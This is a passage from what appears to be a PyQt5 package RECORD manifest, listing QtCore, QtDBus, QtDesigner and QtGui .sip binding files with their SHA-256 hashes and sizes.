+PyQt5/bindings/QtCore/qeventtransition.sip,sha256=5Qc6fEalLi50qYKDr0CMN94njZXaNpYAETbKwpMVD3E,1628 +PyQt5/bindings/QtCore/qfile.sip,sha256=2D1JXyBh-1IQhYEjlwWPf_5HfzLLPPzfngS5z1jhMNg,3033 +PyQt5/bindings/QtCore/qfiledevice.sip,sha256=WCKbndF43aEfH8OV_SC-jBPftuhK7CurdzngYQ1nIuo,5888 +PyQt5/bindings/QtCore/qfileinfo.sip,sha256=qMi4ga8zCwMwXZTL6x1Sa4IOzAIzlNkZLpth4bM9HR8,3521 +PyQt5/bindings/QtCore/qfileselector.sip,sha256=BSFSoE37oUcPlpiYeLQZ-NypY8AWnEO1oKjoZxHSi_s,1430 +PyQt5/bindings/QtCore/qfilesystemwatcher.sip,sha256=1mXHRgT8qiJH27L04FBxYDTduN50GnHcJ2AY6iW-x2Q,1640 +PyQt5/bindings/QtCore/qfinalstate.sip,sha256=dsxunkyFHZLbnqgIy9pc-cpRSNuNwEqqnnZkv6hfrdw,1290 +PyQt5/bindings/QtCore/qglobal.sip,sha256=YZqMID_hM2Wuu90HsLQnK8eB-WzzfDqZT0UrkcvGV8o,7249 +PyQt5/bindings/QtCore/qhistorystate.sip,sha256=frcljbdvx1OIY-opiYLAi0aT2e80WhorlmDypeUWY6Q,2091 +PyQt5/bindings/QtCore/qidentityproxymodel.sip,sha256=Bhvkx3SlNuJ0WtjpvGtyCe-KT8IkTlDFlLOBx1yngWE,3318 +PyQt5/bindings/QtCore/qiodevice.sip,sha256=xcEwFr0Rq0KLr-6aU_YgDi9bqAWLETee-Lhv_rbGZwE,10032 +PyQt5/bindings/QtCore/qitemselectionmodel.sip,sha256=SV9DW9Uzl7JZYVcIxjHNqPYtJAdZv8x1VnaxsxDuhgo,10238 +PyQt5/bindings/QtCore/qjsonarray.sip,sha256=MXkZrUVbwY2YtFN6xGUotQK2t6AjPWpDGFXgtyX4JxQ,3486 +PyQt5/bindings/QtCore/qjsondocument.sip,sha256=oczLm9OuceO0MmWtFjMXQ1uFgz2W_GZ2aDGVTufuZTo,3585 +PyQt5/bindings/QtCore/qjsonobject.sip,sha256=AObw5r3OvXJLMZmtyWANLW-byiX7izTD9eRZ7XpHfIs,3636 +PyQt5/bindings/QtCore/qjsonvalue.sip,sha256=OX90xc0btWIOea2lWgb0w5lHAlLMTrpxoVFk7z19n8c,3204 +PyQt5/bindings/QtCore/qlibrary.sip,sha256=QSUFo2uQw6IA6oC--cH2MoaUGWM82Plo6xA2zszrtCU,2581 +PyQt5/bindings/QtCore/qlibraryinfo.sip,sha256=PhN-h-KXBbLgMy2pBnDcBkBgwY0eAXbKuXyyLRJTyj0,1767 +PyQt5/bindings/QtCore/qline.sip,sha256=Yq2qxj5np1AIRsciIdFM_5JgAwXz-xyxfckevUg9s2M,6678 +PyQt5/bindings/QtCore/qlocale.sip,sha256=b1Ez4SXYYj011O6vEM32YT_McQUHxeS7M5U6QNcXKlk,34464 +PyQt5/bindings/QtCore/qlockfile.sip,sha256=Kh8eS72qkFc1YhMBMteuMxfOmxsBo5GjEy6iRjhGkjU,1722 +PyQt5/bindings/QtCore/qlogging.sip,sha256=hexXobOcs4YRnge1J7L5Xhxw8mYKAB4JBv9eRHyoeWc,6174 +PyQt5/bindings/QtCore/qloggingcategory.sip,sha256=KRP5t4Dh2aJRwrWUWOQg69qLcIkx_9T1Q_pNqugGz_I,1726 +PyQt5/bindings/QtCore/qmargins.sip,sha256=AqNmQfVTusGZfz61ywejAZ8KshMtB1ejp9wWcc9PIZM,5292 +PyQt5/bindings/QtCore/qmessageauthenticationcode.sip,sha256=lX90ZEmctE4XdzVisZwO8sL_L3DkcuSmueVobsuO6WM,1696 +PyQt5/bindings/QtCore/qmetaobject.sip,sha256=aYlrJzDPXUEDWCA5T_pJfg1-Y8Bx5jOqJM9eQ3ByCvs,8172 +PyQt5/bindings/QtCore/qmetatype.sip,sha256=Hgk2jvTQjR2Phw-3eXSG4Us-nZfK17bkDXMIXTbpnBk,4007 +PyQt5/bindings/QtCore/qmimedata.sip,sha256=9yG5WLOrXNo5EfS5L1Hq1aQ6DisqpV496rVsZ2Bhesw,2062 +PyQt5/bindings/QtCore/qmimedatabase.sip,sha256=b2XI4Z-70JIPPBznnl0hO-LJm0DdzFo8UftLYhzdQZA,2136 +PyQt5/bindings/QtCore/qmimetype.sip,sha256=y6NNNzGCE7fTKIXp1UvD7DcxfzrI3UTI3Vvzn_mhEKk,1887 +PyQt5/bindings/QtCore/qmutex.sip,sha256=4dDiuCWwhJ3b_uF1xFreWWfFPJ233gWe1wtke_Gbcl4,2368 +PyQt5/bindings/QtCore/qnamespace.sip,sha256=8_sixxwcg0PFyQ7gyk13KEhIzdj_XpgTZbSdm0QkVgc,39318 +PyQt5/bindings/QtCore/qnumeric.sip,sha256=fBMAN1y_uFd2ggYW3qseTHKTXFrf0kkCdDDpu5750Bc,1207 +PyQt5/bindings/QtCore/qobject.sip,sha256=D6EtQa-6HeZfgqbJmk_KHk3Rdq7Xbbz3QLDGZex_Qr4,25277 +PyQt5/bindings/QtCore/qobjectcleanuphandler.sip,sha256=s8uLoNa2CUOYR8J4RiSxhwYr9dr7l1NH4bPpsQpu2B8,1284 +PyQt5/bindings/QtCore/qobjectdefs.sip,sha256=HWH375IR_5NZ9A6gGR1ez8lUqXNOquVlioewFvYKVfc,7914 +PyQt5/bindings/QtCore/qoperatingsystemversion.sip,sha256=z8x1zYvnQ-u2upD3FgZaRhI4PNnzNQmqwRu4En7ltCk,3616 +PyQt5/bindings/QtCore/qparallelanimationgroup.sip,sha256=7_7ep3oBLsacOZ9RA9w8DvdoZhZU2AiVi6AOILafyBA,1541 +PyQt5/bindings/QtCore/qpauseanimation.sip,sha256=vhAwsFytXpVdUurUR00GQ_2v4JH2mlx-57F6QO_hMi0,1412 +PyQt5/bindings/QtCore/qpluginloader.sip,sha256=sxs-3_Z7U2wJuDT7iTBi-wXpthIusvTmHOQA830HPXw,1598 +PyQt5/bindings/QtCore/qpoint.sip,sha256=HSsCvy4zJ2eAMkhVeKJlvj47u2tx3iq7f8l4rWElLcc,6649 +PyQt5/bindings/QtCore/qprocess.sip,sha256=MsLmKtVGGqYL8w1WuNY1LWVxsA4kcyVjshrKd3ocIgQ,7926 +PyQt5/bindings/QtCore/qpropertyanimation.sip,sha256=VVbBfu1XBQK8YYl86JPyKVtUZdpt1tJxQunXG9Njchw,1737 +PyQt5/bindings/QtCore/qpycore_qhash.sip,sha256=DmRxn9zvTWsce-CtpBRMzLUGElgmovIlGN6KGhp2c2k,11683 +PyQt5/bindings/QtCore/qpycore_qlist.sip,sha256=EOsv8ClJ49AILLVeeTs3Rt3-ALifLl8daldoRLsMO8s,21174 +PyQt5/bindings/QtCore/qpycore_qmap.sip,sha256=X8iK1CXQWX2FgbLp-y49CpJGuyroIZ_3SZDPqp-YC8k,8550 +PyQt5/bindings/QtCore/qpycore_qpair.sip,sha256=tg4WL4fPk2Fqd424fdLNBbYD_X3MmQG9V9yXY6DOrDs,8489 +PyQt5/bindings/QtCore/qpycore_qset.sip,sha256=Is-3Escw2N9DfSX7gar15a6-8X465TjLAMGW8u6jZZc,5661 +PyQt5/bindings/QtCore/qpycore_qvariantmap.sip,sha256=5-7zwQGTOcqEgj2rOGnQVgNWEnSI01itBH-GxWRPTcY,1425 +PyQt5/bindings/QtCore/qpycore_qvector.sip,sha256=aMJFny1_Y-DJxr_649HhZ6-6cHIau3YSEut06osgTow,14035 +PyQt5/bindings/QtCore/qpycore_virtual_error_handler.sip,sha256=dbbwoTNZo_Awee8g0l4ndJceOQduoTf8asF7RFgtCaw,999 +PyQt5/bindings/QtCore/qrandom.sip,sha256=XZuAlibBPUoDmeXBSPA_mQWRXTfNbZ6wy5I9XRx-Q0Y,2000 +PyQt5/bindings/QtCore/qreadwritelock.sip,sha256=pH51UlRiEJ8dqgsxl3ZHhZZ79KyJyWTVP9oPRkEkVPk,2810 +PyQt5/bindings/QtCore/qrect.sip,sha256=FxQGnI8tQEAiwzcboBdyODZ61vrsNfVSW5-xFG4dHaM,11291 +PyQt5/bindings/QtCore/qregexp.sip,sha256=KWvOcXtH0X7DwuJ_-wvbvzuOSqZTlqglGYEj219ypb8,5016 +PyQt5/bindings/QtCore/qregularexpression.sip,sha256=WjR1j7JSL4eFBf2OlsPgNfoyHCTpLO8-7VQDWKhAU5Q,7379 +PyQt5/bindings/QtCore/qresource.sip,sha256=z0oa2QmdLz9KiE5mhrRMS_3QaeIPxVCB3QqOlZ0z86U,2909 +PyQt5/bindings/QtCore/qrunnable.sip,sha256=342t-gIZezXbMdq_l1lcQopPikpGWn94Dfawkgmu3wQ,1747 +PyQt5/bindings/QtCore/qsavefile.sip,sha256=-EdrJ_5W6Rnjd5YcpYePTmBnqysTkOCJZHShXrLAaZw,1725 +PyQt5/bindings/QtCore/qsemaphore.sip,sha256=4_dMj7I6Nyhv2nFU1rQ2gfH57yfw_RcyVszxp6KrcN0,1704 +PyQt5/bindings/QtCore/qsequentialanimationgroup.sip,sha256=bLdH8XIWhRdOgEzyKTsPQo2vXRGHPsXCt_MiZhN6UF4,1766 +PyQt5/bindings/QtCore/qsettings.sip,sha256=DC_rEOJviJ1UiG7YmQfp2i28mU75Jyx1HTg_gJfkms4,4238 +PyQt5/bindings/QtCore/qsharedmemory.sip,sha256=U5-r83G0MF6NyoZm3adKA_PJKb3Fd40xctsmfangrAM,2395 +PyQt5/bindings/QtCore/qsignalmapper.sip,sha256=awYTzFY9yj0LzA-xLZ8DUFi4WSFQOGAnFecmV9ZHnOQ,2186 +PyQt5/bindings/QtCore/qsignaltransition.sip,sha256=ZClviYStbuvuLtSlhN33dl9YdCNs4fuVf4ICvfWi7so,2235 +PyQt5/bindings/QtCore/qsize.sip,sha256=_djUMrr8AmKao_290v3-B_7KcUOVAmPjTYJCPe_1cSY,6215 +PyQt5/bindings/QtCore/qsocketnotifier.sip,sha256=pcghiteXhQtbwVRtDCHIFL21c1Oi5f4jl-aLv_Ty-kg,1531 +PyQt5/bindings/QtCore/qsortfilterproxymodel.sip,sha256=vSDu7r5K_UNL6EDkgi5TPWuUB8aOOh4R_pK3Cc1_ax0,6342 +PyQt5/bindings/QtCore/qstandardpaths.sip,sha256=6Zaq7hkBtfkz4XnN0EwqRWxqmHkUZ27WsxEpxzKjqzY,2942 +PyQt5/bindings/QtCore/qstate.sip,sha256=HzxtV6B2KEbL8jI9ivasaXoz66X8L1_coB5pNvROOHo,2943 +PyQt5/bindings/QtCore/qstatemachine.sip,sha256=7an1-0T4XejuwbW05Cga0M8vhy-PXktnLIsfaLxir2o,4749 +PyQt5/bindings/QtCore/qstorageinfo.sip,sha256=ohAOQBO71F7UXZBSTybQLig8MH6IFHcMhj-erjEscds,2145 +PyQt5/bindings/QtCore/qstring.sip,sha256=gJIoZgY6zzNMlrukQZ6ngpbycU7Smm24zFYS0Fh1qeI,2063 +PyQt5/bindings/QtCore/qstringlist.sip,sha256=1CLGJj6PdOBCfWee18CzqnMYL4qRB4enhuI91dhejjQ,3714 +PyQt5/bindings/QtCore/qstringlistmodel.sip,sha256=XMxG_KdQI2bYgx72jAA4s5SWYXXjbOBMdKS3KiZx1ZQ,2448 +PyQt5/bindings/QtCore/qsysinfo.sip,sha256=l2YwsvrJgC6lwkMq5_kc5mlXsVlZLduabb0xxMO2UyY,4005 +PyQt5/bindings/QtCore/qsystemsemaphore.sip,sha256=uHB_l3m8wCoBMqPcN0aJCpK5S5OCE9tK4NXS4CaDyTQ,1848 +PyQt5/bindings/QtCore/qtemporarydir.sip,sha256=Gjy0q5koM7FjzzCmFEILe6WxDOW8814fEqZd2g8vRA4,1495 +PyQt5/bindings/QtCore/qtemporaryfile.sip,sha256=JAZJAVaO9gyq--T0pbcso_CahrL8PNX8BKLDgx_6NuA,1866 +PyQt5/bindings/QtCore/qtextboundaryfinder.sip,sha256=K11rwHjGYVlaGiXsMl1gzhFdXKN3fHx702jFdyBNFkA,2169 +PyQt5/bindings/QtCore/qtextcodec.sip,sha256=OY-rTzVVthCoG2PC_7hgGIyXqcdXvPPseCB6fOiv54s,4228 +PyQt5/bindings/QtCore/qtextstream.sip,sha256=-chiktaUHnvxk0hUKrwb8DSgyBdwoKIuJFCI9Z-QFng,6053 +PyQt5/bindings/QtCore/qthread.sip,sha256=-8mIsC0QL9xEMdSYthoAwj7Eof6aauNYvCM3mFynWLg,2985 +PyQt5/bindings/QtCore/qthreadpool.sip,sha256=BJMQ8Cy1IN7o_FYSHM9Zy9WKlvv1eIlzlCCkyVv5pdE,4141 +PyQt5/bindings/QtCore/qtimeline.sip,sha256=XSDQDkYDdWDBXXOL7vwFGT0hfwLTjANnnkgHSk-kn0s,2789 +PyQt5/bindings/QtCore/qtimer.sip,sha256=UdkbX9M4qxEkr_E0wiJwgLiDox1D1zZkUy9KxP38ndQ,2668 +PyQt5/bindings/QtCore/qtimezone.sip,sha256=welh8-WCQH3hfWNDnt3UAxKQmscyk63dK7cfaDO4rrk,4380 +PyQt5/bindings/QtCore/qtranslator.sip,sha256=ULj_GPfCMKzemAuQsnxTrSNh3Z320OqtcAupfbGkDSc,1926 +PyQt5/bindings/QtCore/qtransposeproxymodel.sip,sha256=9mNwjb_PBVTxtYNTUxlWsSUUbJCKSUgwrGvdY8h_Ip0,3053 +PyQt5/bindings/QtCore/qurl.sip,sha256=FnIspCfEE0k12WNVGqe6sMURCJeQMMKQuINSk7JkczI,11703 +PyQt5/bindings/QtCore/qurlquery.sip,sha256=G5BX6drlnoNTwZwqUsm_PLgumEoWY03pY0avgiESSRA,2685 +PyQt5/bindings/QtCore/quuid.sip,sha256=lpG4p9cS5hkeJqKFxJypzNq1lsKsDZ_QkS4pAFn6rsY,3632 +PyQt5/bindings/QtCore/qvariant.sip,sha256=_OSZYfKP8CuKajvX4Bz1idr3B1YL3Ou1xusVmRi4v-E,4727 +PyQt5/bindings/QtCore/qvariantanimation.sip,sha256=jzXnH15gNt8S73UrEMxNc2cG9i3dLau1DOADNO6qUcU,2252 +PyQt5/bindings/QtCore/qversionnumber.sip,sha256=Vpicng8LttM7GEDw-skFoLThw2MrdUf0UThXm0_Lf9E,2836 +PyQt5/bindings/QtCore/qwaitcondition.sip,sha256=0Svb3LarwZRhqnaca3c4vpxZZxXyrCV9eoAlEuSZvFk,1599 +PyQt5/bindings/QtCore/qwineventnotifier.sip,sha256=BcMKvZZ_g6USHZNYOlfZFzeWVyqeSeGgoDniNY_KjCI,1630 +PyQt5/bindings/QtCore/qxmlstream.sip,sha256=9nSIjQb_Ve9ncGTYvINqzouiPARNHzHYwzU9z8HENfw,14468 +PyQt5/bindings/QtDBus/QtDBus.toml,sha256=18CPiQd0_1nazWXdR7eH3ntYrfjqUVGcfrz8EpiQCCQ,180 +PyQt5/bindings/QtDBus/QtDBusmod.sip,sha256=ZyJXZsOjwYlNi1el6QFpwFky632sIjoArjyj99To5dI,2395 +PyQt5/bindings/QtDBus/qdbusabstractadaptor.sip,sha256=4Bl9psdz6Mt3C_b3IvvcNwTrvAeTfAOMtKJsmTQbiN8,1309 +PyQt5/bindings/QtDBus/qdbusabstractinterface.sip,sha256=Dc1uBrPGtQeCEnvsDnEZ8vU1hsyUG8dm8Jf2tiaGOoU,6844 +PyQt5/bindings/QtDBus/qdbusargument.sip,sha256=6CihN48LtFV_7C0D5uvcTXdUqyIeVqph9euIVHNtOyw,5238 +PyQt5/bindings/QtDBus/qdbusconnection.sip,sha256=vupH4sOq5DMUnQs2TSImO44L2OccZgmz6NALLT8eV8U,10165 +PyQt5/bindings/QtDBus/qdbusconnectioninterface.sip,sha256=O_APn3PGesXnOLiF1hRr3j2eel9ILWDR_8rlGb90Cxc,3073 +PyQt5/bindings/QtDBus/qdbuserror.sip,sha256=maIe-ZF87UGsCafrMRW9HBopqGnVc7UkaA1C8Cch_BA,2026 +PyQt5/bindings/QtDBus/qdbusextratypes.sip,sha256=QsTriPComlClnYVoXXOdAie_rZwp0Ge79Q9MArkrPss,2652 +PyQt5/bindings/QtDBus/qdbusinterface.sip,sha256=LEYPqen5yDzZpNE_bHiXtZg_eDdnvhauEfeTr5bnQWY,1331 +PyQt5/bindings/QtDBus/qdbusmessage.sip,sha256=WkisJ-pcmV6L7NgK_YMI3I3dCbV98lbSgJM6RO9VHsg,3184 +PyQt5/bindings/QtDBus/qdbuspendingcall.sip,sha256=XXr-QCbzalngaLSd6lNl8GsxP6c15i5yOa_sJERK-DQ,1901 +PyQt5/bindings/QtDBus/qdbusservicewatcher.sip,sha256=UyPch-aXQkzveXU4s74dSzyIsjoemVuVBoFPimvlLOc,2539 +PyQt5/bindings/QtDBus/qdbusunixfiledescriptor.sip,sha256=FnbH_xdThOQb6rOMD1xiUc00aeU91jnxnAIHBCWA4OY,1489 +PyQt5/bindings/QtDBus/qpydbuspendingreply.sip,sha256=7ZiyWP7tcAIWwqRitjZfOGzGUeq6CQJqgPFiyd01tq0,1783 +PyQt5/bindings/QtDBus/qpydbusreply.sip,sha256=fkWtLTx3E2hJ5807uBhowrg6gxOfK4KQMeXd9-Ih6GE,5529 +PyQt5/bindings/QtDesigner/QtDesigner.toml,sha256=klPmxODmBCixJKNnuD8wYosuKYADn5rvX7mO3XFUwLo,184 +PyQt5/bindings/QtDesigner/QtDesignermod.sip,sha256=Fz99XM3egrL8Az22GV6GimKaq1_J62SkeKVeJjMxlkA,2848 +PyQt5/bindings/QtDesigner/abstractactioneditor.sip,sha256=l6v9QMymL5umRgtlkKOKC7XPZdwNZkPu3Yihyj5AvSU,1530 +PyQt5/bindings/QtDesigner/abstractformbuilder.sip,sha256=jKcrH0reurvOfgjT1v07RwuDJiTfG0Mllrv8Z2jJ0Bo,1502 +PyQt5/bindings/QtDesigner/abstractformeditor.sip,sha256=E_Dk9xSdWbyrXz8VGS0xfSbNt69x0tqrCfGsCE7zNH0,2191 +PyQt5/bindings/QtDesigner/abstractformwindow.sip,sha256=1ePGWBmaNNksC5XsZg7-kiPzRrRRnw8Cz2iPoCaW4ZI,4826 +PyQt5/bindings/QtDesigner/abstractformwindowcursor.sip,sha256=nJC2CE8LIkt8Uu0ZeyFhp5sBsJtS9K7RxpqOWBp5PAU,2460 +PyQt5/bindings/QtDesigner/abstractformwindowmanager.sip,sha256=5WzUhE3mEYr-B6MfNZAqSxZhBM2PZswowFJAx0LK5cE,3358 +PyQt5/bindings/QtDesigner/abstractobjectinspector.sip,sha256=M2TtCVjNTsW1_dkK6AtOjglFcGzriHfua7AaPCYpzw4,1437 +PyQt5/bindings/QtDesigner/abstractpropertyeditor.sip,sha256=mW9Hs-2y0pITj3xfKbyI48FWqx_xqVnRdrjjgaHgAcM,1779 +PyQt5/bindings/QtDesigner/abstractwidgetbox.sip,sha256=THkS3vK9ktd_W15lH_sf8EOPTpTLeIxXyNCDgvNI__4,1417 +PyQt5/bindings/QtDesigner/container.sip,sha256=yaib4pIQPjxWjdACn-VIKoRwj_GpRBaMBZCqAsf5iUQ,1550 +PyQt5/bindings/QtDesigner/customwidget.sip,sha256=vGdepQh5tklqjS0rTvlxGdeU8nGVPsh1Halscao90-o,1938 +PyQt5/bindings/QtDesigner/default_extensionfactory.sip,sha256=JY_tz-s_-UUuKnKNSgmsxGZ35i-JOt86mb2LDWTMEpc,1594 +PyQt5/bindings/QtDesigner/extension.sip,sha256=eV9TfYq04Rq5mmfvkr08gg-taF3Fq6xVMaG9QzBpgkc,1616 +PyQt5/bindings/QtDesigner/formbuilder.sip,sha256=yYf3rArb215Ht6RhfyLF18wfWOv11F30LmZOnM5_1ek,1382 +PyQt5/bindings/QtDesigner/membersheet.sip,sha256=EVLsZ2bWYPeAldEQS57cDTiyxITy4bIEVq2DlzFqGM8,1917 +PyQt5/bindings/QtDesigner/propertysheet.sip,sha256=grGNGDSTgSnv5oXtFkbs8pqxa-R3nUjYxMnfQfvH37w,2000 +PyQt5/bindings/QtDesigner/qextensionmanager.sip,sha256=sZh5jZefxC5VyDIP2pB2-ChAK58jphEZzrJ1x-Ii8vw,3582 +PyQt5/bindings/QtDesigner/qpydesignercontainerextension.sip,sha256=zD2xLMtu_McWSHVE8s90GkFXcv9k7PR664PqRLdTvhY,1260 +PyQt5/bindings/QtDesigner/qpydesignercustomwidgetcollectionplugin.sip,sha256=k8O5PcVMbxW9xuPMqxgJom59laGBTx8d80p12toEZDM,1341 +PyQt5/bindings/QtDesigner/qpydesignercustomwidgetplugin.sip,sha256=qq5_EWgPvOsUyquB0D1eiplkWjjkTnGDBKIZli3O41g,1267 +PyQt5/bindings/QtDesigner/qpydesignermembersheetextension.sip,sha256=0V8gXz_s-RV-GY5V13SetbzkhxwRwQIo-Cq5HzTCMPk,1274 +PyQt5/bindings/QtDesigner/qpydesignerpropertysheetextension.sip,sha256=K6DVQ20f3hkO7lM4WsjY5yc2829LFUPwHbbyU1suP9s,1292 +PyQt5/bindings/QtDesigner/qpydesignertaskmenuextension.sip,sha256=nU7Ho6oNIXKWAb3FpU1gx4QLf-4SqGapP2_WfvV2_vc,1253 +PyQt5/bindings/QtDesigner/taskmenu.sip,sha256=569dv7VKEWJsoySrfupMHEzhLnLWCIslJidXfAfVg-0,1221 +PyQt5/bindings/QtGui/QtGui.toml,sha256=050Hmhh0wkIHTse3zOlbUWrYlVN6SKK7BOjq87xmDaQ,179 +PyQt5/bindings/QtGui/QtGuimod.sip,sha256=yoJAwx2LMGO2I4OHw2G-b5ENtDhpu-qb5L5LtY3wD40,4639 +PyQt5/bindings/QtGui/opengl_types.sip,sha256=O3BAGaZPYMjNN4FrvI4UHiqW9HWL_G_26jKsSKehf94,1450 +PyQt5/bindings/QtGui/qabstracttextdocumentlayout.sip,sha256=4bDGvt7p45Dzqt5XxPV8aDPVDqqXMlR5hGiOClHxiqE,3924 +PyQt5/bindings/QtGui/qbackingstore.sip,sha256=J7MuKzuCX3wgXLtB-W-oAeTF37ZIsdB8Lbd_l5urlxU,1611 +PyQt5/bindings/QtGui/qbitmap.sip,sha256=UvOrsGodAs45FKIc80cqVa4FrWg1m9WJMmdTLbOo6KU,1932 +PyQt5/bindings/QtGui/qbrush.sip,sha256=CH1TALi0SvMK4WWdg0o4QopksrQfIVbW6GtIk6Lt2KI,11361 +PyQt5/bindings/QtGui/qclipboard.sip,sha256=5RNN3A_LuaTxZ-RQz6JOS1qgxe6zzrrYW9B6lmyHT4I,3633 +PyQt5/bindings/QtGui/qcolor.sip,sha256=0kI056xKggdQDGz9U0_hI9Hxk1dtLJmvQ2nzPQkfVo8,12487 +PyQt5/bindings/QtGui/qcolorspace.sip,sha256=YVU6Aaivr2g5rT2g6HKO5NLQGEgrEh9OdLrA1cZWk2A,3243 +PyQt5/bindings/QtGui/qcolortransform.sip,sha256=Y0JtiPOffCo-P02sOQyOYLnUWRIEOqDbRsWx-BfJPNg,1378 +PyQt5/bindings/QtGui/qcursor.sip,sha256=vWeq5F1siRwGW6wqx-i8iEvdbQVMTuRyjOvQagUnue0,3162 +PyQt5/bindings/QtGui/qdesktopservices.sip,sha256=s3eXfClQ7c4yYNAJdWWUuVnXNX-gT0kmjnY8_ZBez5M,2485 +PyQt5/bindings/QtGui/qdrag.sip,sha256=x47wNAaUVA5LoD5HQW52z_qlBM8I4G7J4FVxZoNpTZw,2266 +PyQt5/bindings/QtGui/qevent.sip,sha256=eDRqdw_WNtVoTE-S5vsOPFkWBYpbfp_CULK7LOWRY4g,24977 +PyQt5/bindings/QtGui/qfont.sip,sha256=yUVYFeO0-u-ViJJJXC7h6fElKQW38mFE5nRYwmQRP3A,6343 +PyQt5/bindings/QtGui/qfontdatabase.sip,sha256=7fvl_2Nj4BPa8o4VpWcArXKebO_RY39JDETkwWxbsg4,3821 +PyQt5/bindings/QtGui/qfontinfo.sip,sha256=TC8xTzg5JYwTlMs84DTyQjY5VADjkPtlNdkct_jfbrE,1568 +PyQt5/bindings/QtGui/qfontmetrics.sip,sha256=HyUakOG_crOYZuYffyeJ3u5gR3tI6Bwcydv1BDFcmGo,6552 +PyQt5/bindings/QtGui/qgenericmatrix.sip,sha256=8rRxzNh0yv1mB14RPjLDDVY_5HW5fQBv4MFXEkQbMJc,32592 +PyQt5/bindings/QtGui/qglyphrun.sip,sha256=FXEl1LxtNIkI7dWw4lJJKtc0_CcwFBnXyW_bb8MacTs,2388 +PyQt5/bindings/QtGui/qguiapplication.sip,sha256=erS0apz3qVR8MG8lEU-jjW4_u5aiOEghnXZFK4OusOg,11884 +PyQt5/bindings/QtGui/qicon.sip,sha256=lHYS-K9C02rkOEimd28jvrvWg_a0nQQ2-PdesD-jxmc,4828 +PyQt5/bindings/QtGui/qiconengine.sip,sha256=wP5JjrzKYpPSzTU_VWWbWozED1HAgDWhhszywC2-wl4,2835 +PyQt5/bindings/QtGui/qimage.sip,sha256=EexU71y1TGZIs0VFxtMqNra-FSO4DgcQr8d5tk74qFs,10734 +PyQt5/bindings/QtGui/qimageiohandler.sip,sha256=sELAWuxWx8WgkX3CZuMZZjZeTdXFfZaFxMASzpz3jrI,3022 +PyQt5/bindings/QtGui/qimagereader.sip,sha256=O0iImh1K2myCqbJm4W96sPqGctBufzAdR3Tl9D8p1JA,3767 +PyQt5/bindings/QtGui/qimagewriter.sip,sha256=ZQTN9g_VoLqO4WBtE5rAgnnygxALk4hiRD-koo2XXKw,3088 +PyQt5/bindings/QtGui/qinputmethod.sip,sha256=oGDTPg01buLkBH9yO9NUmReEeqpAAHg812E4Ub1e3CA,2541 +PyQt5/bindings/QtGui/qkeysequence.sip,sha256=qV5qZr5RFhN6u5UXSzmpY6SDybaCStfKtTa7yg7CJ8U,7097 +PyQt5/bindings/QtGui/qmatrix4x4.sip,sha256=ggKm1yBnAbb9rmtyYnWluGdNl18Ex0zuTN3IOke5pi0,10969 +PyQt5/bindings/QtGui/qmovie.sip,sha256=Yvidf-4I-APxvG333j9HHMjTYU0_-oZu5s7El9CCgoE,2998 +PyQt5/bindings/QtGui/qoffscreensurface.sip,sha256=cr339WR4UhU94NO880JEh6AJmmsm02Igm2y-OYb_5Jo,1862 +PyQt5/bindings/QtGui/qopenglbuffer.sip,sha256=sMPjfzSOIly5iFR2tW0L_X5HmGqTK3nUWl1Uv_eOOP8,2939 +PyQt5/bindings/QtGui/qopenglcontext.sip,sha256=ygi4nLHAarekRL1w7G4OzoDq4nLqCXTaUfSxN7rNNFY,4123 +PyQt5/bindings/QtGui/qopengldebug.sip,sha256=occhcgJAHzL8QpqdPng8tqeJwK7CvCOGtWZEH_4V5gU,5517 +PyQt5/bindings/QtGui/qopenglframebufferobject.sip,sha256=Cy6w8j-HbTO2P-HhT9mowsuxphylzhLMQKNvoXMpBGA,5540 +PyQt5/bindings/QtGui/qopenglpaintdevice.sip,sha256=jk3a_3m8bBHUwPOrFKWG_M1_cQshjoPd5fAO4-0ESZA,1939 +PyQt5/bindings/QtGui/qopenglpixeltransferoptions.sip,sha256=JpqH6bIyTNT-F6iL7dKIn-sFGY6_xCYlik6tc_UmAuo,1965 +PyQt5/bindings/QtGui/qopenglshaderprogram.sip,sha256=5bb1gAwNM0t-4sQSvO_qRUI_SJXsVXjsWksLgKOHTyU,16834 +PyQt5/bindings/QtGui/qopengltexture.sip,sha256=yH_iowJHJWah-l5jjfVX_QhW_0pc4BQ28o1_F3ZIZPU,18884 +PyQt5/bindings/QtGui/qopengltextureblitter.sip,sha256=-9t87m6KgJgAcXGuFW2xQMhFgP0FeeEXnSia-5oeTEY,2050 +PyQt5/bindings/QtGui/qopengltimerquery.sip,sha256=29hOdgffvcxl-kWyWo1vLCLEH3_GVNGROKHFtGUAy3s,2217 +PyQt5/bindings/QtGui/qopenglversionfunctions.sip,sha256=Ik6AywB45eKq4oMR0QlOrQW8JqjhsRPCkHcLw945Csc,1242 +PyQt5/bindings/QtGui/qopenglvertexarrayobject.sip,sha256=eDl5VBuRyvu3A7O_aON4yk4ZyUD7xvvgRPHLTek78rU,2024 +PyQt5/bindings/QtGui/qopenglwindow.sip,sha256=uYvqoHeaERuv-BPYLSnXeWRSz0hcsk0QmwTRmYTsLv8,2356 +PyQt5/bindings/QtGui/qpagedpaintdevice.sip,sha256=DA6xbe2yQqv-zJZ0gElE1yN8skLw8opc4h1zbWLTkiE,7036 +PyQt5/bindings/QtGui/qpagelayout.sip,sha256=UCzrf2ESHuDtAmdEty77pPVDT3u58EJ9dOSEBRA1e9M,3268 +PyQt5/bindings/QtGui/qpagesize.sip,sha256=o4otsCv5nqgPyDjQNH51LW_Wud_dnnu2ecx5MAC92oI,5824 +PyQt5/bindings/QtGui/qpaintdevice.sip,sha256=6bcwj-FSlE0HRut3eoN33h7ZBV9dpUF9Qe4UqB_3v20,2183 +PyQt5/bindings/QtGui/qpaintdevicewindow.sip,sha256=HkgXyFIgCY6ZLPwKSjno0szfITcTFYxmjMmUJOTHikc,1484 +PyQt5/bindings/QtGui/qpaintengine.sip,sha256=rhtbLYP89H0XgLPNOQ2V1f_bPRN8f-OcxWi7DfCdvt8,6092 +PyQt5/bindings/QtGui/qpainter.sip,sha256=QpKH4wXPiC1ocHSl7O5d1XE-t-v-71DX5G6hWMusNN8,21374 +PyQt5/bindings/QtGui/qpainterpath.sip,sha256=x-WpW2Riu07g3MB1J-D-uW0xJ6BkUcvd9sQ23BE-IIw,7180 +PyQt5/bindings/QtGui/qpalette.sip,sha256=Mtn76iUHFxA9Jbwn5xS2wNv0jJpWlOFw2kLNOp_hpTs,4799 +PyQt5/bindings/QtGui/qpdfwriter.sip,sha256=r96dkaLX5F3Hsywo7IUMLSBfOVUO6aRaHEsbHkk5osw,2393 